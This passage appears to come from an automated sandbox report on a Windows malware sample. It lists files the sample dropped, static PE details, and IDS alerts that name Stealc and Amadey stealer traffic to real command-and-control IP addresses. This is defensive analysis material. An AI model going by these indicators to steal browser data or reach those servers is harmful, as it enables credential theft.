SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035699946889726504
Encrypted:	false
SSDEEP:	3:GtlstFhq5OwNgHMIu89oPlstFhq5OwNgHMIu8l/lllT89//alEl:GtWtW5fynus4WtW5fynu0//J89XuM
MD5:	433B67B947CA4C864C1D61C3ED8FD7D7
SHA1:	181961339D5960F6ADAEF5E175198644A98933F0
SHA-256:	F98C13D82634285FED69AEE999C4C713C7432051CAB3B59AC147693A63E8829B
SHA-512:	C886F63E488D2A892BEDE39B93BCD7B1A28FC78E2B20FBCCF598A21FCD43E85452CBBC1E64ED8DEC64241100C5C98686B299B750468D3951CC561F7E42829AEA
Malicious:	true
Preview:	..-.....................vO...+.........Q..v.3.....-.....................vO...+.........Q..v.3...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	11829
Entropy (8bit):	5.462621582719284
Encrypted:	false
SSDEEP:	192:jnPOeRnLYbBp69J0aX+H6SEXKi6I85RHWNBw8d2Sl:TDekJUaLt0HEwD0
MD5:	D79C885E9E4600AD8EDF94BCDAC7794F
SHA1:	A21A64006C9C44DAEC26D9F9F2ECF1FBC4F05615
SHA-256:	FDE913AF816F7CC17952910A5B2D92D7259B1A10992295F7C74025158A31A583
SHA-512:	4F88B5941F6862BA2C70BA0BABE537E558376EEFAFD1A209789C794D4C708521089758F13A96F41FD356680FF572F90DC05A516C69D3E2534FAA1244A6A08416
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	11829
Entropy (8bit):	5.462621582719284
Encrypted:	false
SSDEEP:	192:jnPOeRnLYbBp69J0aX+H6SEXKi6I85RHWNBw8d2Sl:TDekJUaLt0HEwD0
MD5:	D79C885E9E4600AD8EDF94BCDAC7794F
SHA1:	A21A64006C9C44DAEC26D9F9F2ECF1FBC4F05615
SHA-256:	FDE913AF816F7CC17952910A5B2D92D7259B1A10992295F7C74025158A31A583
SHA-512:	4F88B5941F6862BA2C70BA0BABE537E558376EEFAFD1A209789C794D4C708521089758F13A96F41FD356680FF572F90DC05A516C69D3E2534FAA1244A6A08416
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\userAAKKKEBFCG.exe
File Type:	data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.4470059099535675
Encrypted:	false
SSDEEP:	6:4nU/nX45ZsUEZ+lX1lOJUPelkDdtFXqYEp5t/uy0l1N1ut0:4gDQ1lOmeeDNfXV1Nct0
MD5:	A3871191822BB21D59A7C19416517987
SHA1:	5AE74F3E239B6F4647A3EF925B0E5371825930E7
SHA-256:	0591C30F5ED2CA6A158AA76AFC5C8E1657466ED90F6E14430687A2691A67D575
SHA-512:	1F92EE9F3A4AD29CC4763C99924202E42DF15C25A03117018012705F9E46651B389BF09B4D7EDA94CB5C6C1F9560020EF77E73538B075FF48E96382F20AFAC73
Malicious:	false
Preview:	....~&h.5Y.E./..k..F.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\AppData\RoamingIJEGHJECFC.exe
File Type:	data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	3.3825238344366944
Encrypted:	false
SSDEEP:	6:uvFlVXUG5ZsUEZ+lX1cI1l6lm6tFXqYEp5t/uy0l1N1ut0:OFrYQ1cagxfXV1Nct0
MD5:	8AF3F6AFB1D0DB7C1C0EE8DB5D33DD15
SHA1:	4B860F92D85B850C1D12A7109392ACDC6D3D9F4D
SHA-256:	6EBF06C15D4EF241179BE3C40ABE142DB70851BF772E0C9434A3CD0A9A9D1400
SHA-512:	6CF86D57E1B4EA1C7EF33BB931840EC312EDBEC41299F81E9FB8981EC8C7C6692C435C165F9C38A33014094E51D6B92DF5BE449FFFFB80C4586E12CA83F200FE
Malicious:	false
Preview:	.....DuS7e.H.,F.0...F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.0.d.8.f.5.e.b.8.a.7.\.e.x.p.l.o.r.t.i...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4240508347758905
Encrypted:	false
SSDEEP:	6144:ISvfpi6ceLP/9skLmb0OThWSPHaJG8nAgeMZMMhA2fX4WABlEnN/0uhiTw:TvloThW+EZMM6DFy103w
MD5:	0E2CA6D9DD2C4A10AEF65A94A87EE61C
SHA1:	9F88C5B65CD855EAB2FE22EC9D3963E826F7AD9C
SHA-256:	FAA3D511A246AA4452CB7B367581997A9CCCDC07CB144D3E23839AC2BCC662A1
SHA-512:	B9145E73668F86AD43ADB872592E6CC403B66058416F395A3BDE31DCC77521CAEF17D47E1273FEEF665E36F765092F7D03D29912C621F1A858A42D71CACF9BC4
Malicious:	false
Preview:	regf?...?....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.?..................................................................................................................................................................................................................................................................................................................................................s...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.056014850588474
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	249'856 bytes
MD5:	7e43d787c0813212855c05d5cc4b1752
SHA1:	3b1dc23a3db66ca9f98742f379fde849a1039a67
SHA256:	5eb4e0358569874385f1f29eeb4f296ce648be45cc6ea62328e8a9594571859f
SHA512:	0df06c810672be13c8dae50f116132e143eba4a8e174eb75f1c01f9dcf753a9cf797600b4295657f9de632406ebc0220b11cd05f8b2985a9d6e6e94662677146
SSDEEP:	3072:nCtkbYJ4Zzd+mtDjzFTVA/hdlCo0VMTUd47hxcCjTc31Lt6t4OYO8:CGYJKomtDXqhdsMjT6t6tuO
TLSH:	F934CFD1FEE0D43DE4E70A3488B0C6F5553B7CA24B70958B7698BB2F6D711809A69323
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Tg.s... ... ... .pQ ... .pd ... .pP t.. .~i ... ... d.. .pU ... .p` ... .pg ... Rich... ........PE..L....C.d...................

File Icon


Icon Hash:	cd4d3d2e4e054d07

Static PE Info

General

Entrypoint:	0x4020f9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x64F1438C [Fri Sep 1 01:51:08 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	f7b7ec9e4ef13450da9b01e527b930fc

Entrypoint Preview

Instruction
call 00007FBC9137E685h
jmp 00007FBC9137ACAEh
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword ptr [ebp+0Ch]
push esi
call 00007FBC9137C431h
mov dword ptr [ebp+0Ch], eax
mov eax, dword ptr [esi+0Ch]
pop ecx
test al, 82h
jne 00007FBC9137AE39h
call 00007FBC9137BE1Fh
mov dword ptr [eax], 00000009h
or dword ptr [esi+0Ch], 20h
or eax, FFFFFFFFh
jmp 00007FBC9137AF54h
test al, 40h
je 00007FBC9137AE2Fh
call 00007FBC9137BE04h
mov dword ptr [eax], 00000022h
jmp 00007FBC9137AE05h
push ebx
xor ebx, ebx
test al, 01h
je 00007FBC9137AE38h
mov dword ptr [esi+04h], ebx
test al, 10h
je 00007FBC9137AEADh
mov ecx, dword ptr [esi+08h]
and eax, FFFFFFFEh
mov dword ptr [esi], ecx
mov dword ptr [esi+0Ch], eax
mov eax, dword ptr [esi+0Ch]
and eax, FFFFFFEFh
or eax, 02h
mov dword ptr [esi+0Ch], eax
mov dword ptr [esi+04h], ebx
mov dword ptr [ebp-04h], ebx
test eax, 0000010Ch
jne 00007FBC9137AE4Eh
call 00007FBC9137BFC9h
add eax, 20h
cmp esi, eax
je 00007FBC9137AE2Eh
call 00007FBC9137BFBDh
add eax, 40h
cmp esi, eax
jne 00007FBC9137AE2Fh
push dword ptr [ebp+0Ch]
call 00007FBC9137F00Bh
pop ecx
test eax, eax
jne 00007FBC9137AE29h
push esi
call 00007FBC9137EFB7h
pop ecx
test dword ptr [esi+0Ch], 00000108h
push edi
je 00007FBC9137AEA6h
mov eax, dword ptr [esi+08h]
mov edi, dword ptr [esi]
lea ecx, dword ptr [eax+01h]
mov dword ptr [esi], ecx

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25994	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x204c000	0x99e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x25a0c	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x25458	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x23000	0x1bc	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x219f0	0x21a00	681c2a84f1197061751762cc80a3d9c5	False	0.8953662290892194	data	7.823258879693632	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0x3396	0x3400	3bd5c710a38bf7b10778c12833bfe9c0	False	0.3623798076923077	data	5.010633121432533	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x27000	0x2022e8c	0xdc00	eca08c1781c2d1fa9cc525cb00696bb8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.fufuc	0x204a000	0x2d3	0x400	0f343b0931126a20f133d67c2b018a3b	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.xixeray	0x204b000	0x400	0x400	0f343b0931126a20f133d67c2b018a3b	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x204c000	0x99e0	0x9a00	b95f992601a9ebe23fddd7805f483182	False	0.43247767857142855	data	4.658999168686506	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x2052c98	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.2953091684434968
RT_CURSOR	0x2053b40	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.46705776173285196
RT_CURSOR	0x20543e8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5361271676300579
RT_ICON	0x204c420	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.47468017057569295
RT_ICON	0x204c420	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.47468017057569295
RT_ICON	0x204d2c8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.5857400722021661
RT_ICON	0x204d2c8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.5857400722021661
RT_ICON	0x204db70	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.6457373271889401
RT_ICON	0x204db70	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.6457373271889401
RT_ICON	0x204e238	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.7008670520231214
RT_ICON	0x204e238	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.7008670520231214
RT_ICON	0x204e7a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Tamil	India	0.37012448132780085
RT_ICON	0x204e7a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Tamil	Sri Lanka	0.37012448132780085
RT_ICON	0x2050d48	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Tamil	India	0.4603658536585366
RT_ICON	0x2050d48	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Tamil	Sri Lanka	0.4603658536585366
RT_ICON	0x2051df0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Tamil	India	0.5389344262295082
RT_ICON	0x2051df0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Tamil	Sri Lanka	0.5389344262295082
RT_ICON	0x2052778	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Tamil	India	0.6365248226950354
RT_ICON	0x2052778	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Tamil	Sri Lanka	0.6365248226950354
RT_STRING	0x2054be0	0x452	data	Tamil	India	0.45479204339963836
RT_STRING	0x2054be0	0x452	data	Tamil	Sri Lanka	0.45479204339963836
RT_STRING	0x2055038	0x28e	data	Tamil	India	0.481651376146789
RT_STRING	0x2055038	0x28e	data	Tamil	Sri Lanka	0.481651376146789
RT_STRING	0x20552c8	0x714	data	Tamil	India	0.42770419426048567
RT_STRING	0x20552c8	0x714	data	Tamil	Sri Lanka	0.42770419426048567
RT_ACCELERATOR	0x2052c58	0x40	data	Tamil	India	0.875
RT_ACCELERATOR	0x2052c58	0x40	data	Tamil	Sri Lanka	0.875
RT_GROUP_CURSOR	0x2054950	0x30	data			0.9375
RT_GROUP_ICON	0x2052be0	0x76	data	Tamil	India	0.6610169491525424
RT_GROUP_ICON	0x2052be0	0x76	data	Tamil	Sri Lanka	0.6610169491525424
RT_VERSION	0x2054980	0x25c	data			0.5281456953642384

Imports

DLL	Import
KERNEL32.dll	LocalCompact, EnumCalendarInfoW, SetEnvironmentVariableW, GetTickCount, CreateNamedPipeW, GetConsoleAliasesA, EnumResourceTypesA, GetConsoleCP, GlobalAlloc, SetFileShortNameW, LoadLibraryW, IsProcessInJob, FatalAppExitW, AssignProcessToJobObject, IsBadCodePtr, GetModuleFileNameW, GetSystemDirectoryA, ReplaceFileA, GlobalUnlock, CreateJobObjectA, GetLastError, WriteConsoleInputW, VerLanguageNameW, LoadLibraryA, SetConsoleCtrlHandler, AddAtomW, HeapWalk, GetOEMCP, EnumDateFormatsA, GetModuleHandleA, GetProcessShutdownParameters, EnumResourceNamesA, GetFileTime, PeekConsoleInputA, GetDiskFreeSpaceExA, LCMapStringW, CreateFileW, HeapSize, FlushFileBuffers, FindVolumeClose, HeapCompact, GetProcAddress, CreateFileA, GetStringTypeW, WriteConsoleW, HeapReAlloc, GetCommandLineW, HeapSetInformation, GetStartupInfoW, DecodePointer, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, TerminateProcess, GetCurrentProcess, HeapAlloc, HeapFree, EnterCriticalSection, LeaveCriticalSection, SetHandleCount, GetStdHandle, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, MultiByteToWideChar, ReadFile, GetModuleHandleW, ExitProcess, SetFilePointer, HeapCreate, WriteFile, FreeEnvironmentStringsW, GetEnvironmentStringsW, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, WideCharToMultiByte, GetConsoleMode, GetCPInfo, GetACP, IsValidCodePage, Sleep, RtlUnwind, SetStdHandle, IsProcessorFeaturePresent, CloseHandle
USER32.dll	CharUpperBuffA, GetMessageExtraInfo, SetCaretPos, GetMenu, DrawStateW, GetSysColorBrush
GDI32.dll	GetCharWidthI, CreateDCA, GetCharABCWidthsI
WINHTTP.dll	WinHttpOpen
MSIMG32.dll	AlphaBlend

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-27T12:01:14.877705+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49704	80	192.168.2.5	85.28.47.31
2024-07-27T12:01:06.354569+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	80	49704	85.28.47.31	192.168.2.5
2024-07-27T12:01:20.086929+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49705	80	192.168.2.5	185.215.113.16
2024-07-27T12:01:15.159882+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49704	85.28.47.31	192.168.2.5
2024-07-27T12:02:06.002410+0200	TCP	2856122	ETPRO MALWARE Amadey CnC Response M1	80	49726	185.215.113.19	192.168.2.5
2024-07-27T12:01:14.649485+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49704	85.28.47.31	192.168.2.5
2024-07-27T12:01:08.567080+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49704	85.28.47.31	192.168.2.5
2024-07-27T12:01:08.662017+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49704	85.28.47.31	192.168.2.5
2024-07-27T12:01:08.568337+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49704	85.28.47.31	192.168.2.5
2024-07-27T12:01:16.792407+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49704	85.28.47.31	192.168.2.5
2024-07-27T12:01:17.186298+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49704	80	192.168.2.5	85.28.47.31
2024-07-27T12:02:04.981044+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49729	80	192.168.2.5	185.215.113.16
2024-07-27T12:02:03.827081+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49727	80	192.168.2.5	185.215.113.16
2024-07-27T12:01:06.348282+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	49704	80	192.168.2.5	85.28.47.31
2024-07-27T12:02:07.527719+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49733	80	192.168.2.5	185.215.113.16
2024-07-27T12:01:22.358428+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49705	80	192.168.2.5	185.215.113.16
2024-07-27T12:02:01.454625+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49725	40.68.123.157	192.168.2.5
2024-07-27T12:01:08.962439+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49704	85.28.47.31	192.168.2.5
2024-07-27T12:01:05.957710+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49704	80	192.168.2.5	85.28.47.31
2024-07-27T12:01:07.599722+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	49704	80	192.168.2.5	85.28.47.31
2024-07-27T12:02:36.795340+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49799	80	192.168.2.5	85.28.47.31
2024-07-27T12:01:08.383225+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49704	80	192.168.2.5	85.28.47.31
2024-07-27T12:01:08.473405+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49704	85.28.47.31	192.168.2.5
2024-07-27T12:02:06.757598+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49731	80	192.168.2.5	185.215.113.19
2024-07-27T12:01:13.420914+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49704	80	192.168.2.5	85.28.47.31
2024-07-27T12:01:06.150667+0200	TCP	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	80	49704	85.28.47.31	192.168.2.5
2024-07-27T12:01:15.449812+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49704	80	192.168.2.5	85.28.47.31
2024-07-27T12:02:06.106771+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49730	80	192.168.2.5	185.215.113.16
2024-07-27T12:01:22.751987+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49706	40.68.123.157	192.168.2.5
2024-07-27T12:01:14.649694+0200	TCP	2002725	ET ACTIVEX COM Object Instantiation Memory Corruption Vulnerability MS05-054	80	49704	85.28.47.31	192.168.2.5
2024-07-27T12:02:07.699595+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49734	80	192.168.2.5	85.28.47.31
2024-07-27T12:02:03.673868+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49726	80	192.168.2.5	185.215.113.19
